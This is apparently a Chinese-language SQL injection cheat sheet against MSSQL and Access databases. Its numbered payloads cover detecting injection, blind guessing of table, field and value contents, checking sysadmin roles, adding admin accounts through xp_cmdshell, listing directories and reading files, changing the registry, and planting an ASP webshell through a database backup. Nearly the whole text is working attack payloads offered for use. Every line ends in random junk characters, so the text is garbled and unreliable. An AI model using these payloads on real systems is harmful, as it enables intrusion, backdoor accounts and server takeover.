1.判断是否有注入;and 1=1 ;and 1=2 kRH
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2.初步判断是否是mssql ;and user>0 (U:6vk3Q
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3.注入参数是字符'and [查询条件] and ''=' Bo
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1/SB[[ g
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5.判断数据库系统 1U
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;and (select count(*) from sysobjects)>0 mssql {'#7b# DB>
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;and (select count(*) from msysobjects)>0 access |RDE/
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 jEK{47i v
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ,/[1hhP@
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Vc+~yh.)
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9.(1)猜字段的ascii值(access) M->#WGl\B
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ,.&D{$1W
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(2)猜字段的ascii值(mssql) r$%,k*X^
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 5"D\n B%
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10.测试权限结构(mssql) {6F]w_\
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 51'V[tI;8
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- EpENhC0
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Qd}h:U^
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Q|f)Awe$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- #c-Jo[%G
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- %@%~<U)W
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;and 1=(select IS_MEMBER('db_owner'));-- oM,UQ!x<
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11.添加mssql和系统的帐户 ictOCF
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;exec master.dbo.sp_addlogin username;-- SnoEi~Da
;exec master.dbo.sp_password null,username,password;-- ,;yaYF6|/
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?y^ ix+M
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;exec master.dbo.xp_cmdshell 'net user username password pH0MVu(W
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- s$/Z+"f(
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- CDDEWVd
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- H#QPcp@
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12.(1)遍历目录 x^
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;create table dirs(paths varchar(100), id int) ~%sNPKjA
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;insert dirs exec master.dbo.xp_dirtree 'c:\' bbWW|PtWwP
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;and (select top 1 paths from dirs)>0 4*Z>-<W=
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >P2QL>P
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(2)遍历目录 dV"Kx
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- L(BL_
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j7C&&G q
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,m)YL>k
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 z!^3%kJJ>
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13.mssql中的存储过程 u2l`%
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xp_regenumvalues 注册表根键, 子键 aMyf|l.
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
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xp_regread 根键,子键,键值名 _\AT_Zmy
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;exec xp_regread J8hH#7WMS
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5Veybchy "
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xp_regwrite 根键,子键, 值名, 值类型, 值 >8DZj&j
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 _({K6adb
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1$uO%
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xp_regdeletevalue 根键,子键,值名 RZI4N4o
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 u]t#Vf-$u
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 )n$RHt+:>
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14.mssql的backup创建webshell ],Y+|uX->
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use model $:*/^)L
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create table cmd(str image); OyTp^W`&
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insert into cmd(str) values (''); I)f54AX
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backup database model to disk='c:\l.asp'; 4:qM'z
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15.mssql内置函数 F0+@FS0
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;and (select @@version)>0 获得Windows的版本号 i>AKXJ+
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Ec|5'Kz]
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;and (select user_name())>0 爆当前系统的连接用户 OeY+Yt0
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;and (select db_name())>0 得到当前连接的数据库 R>`TV(W`9
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16.简洁的webshell 4(}V$#^+
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use model {#uf#J|
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create table cmd(str image); y
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insert into cmd(str) values (''); <}^l MBa
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backup database model to disk='g:\wwwtest\l.asp';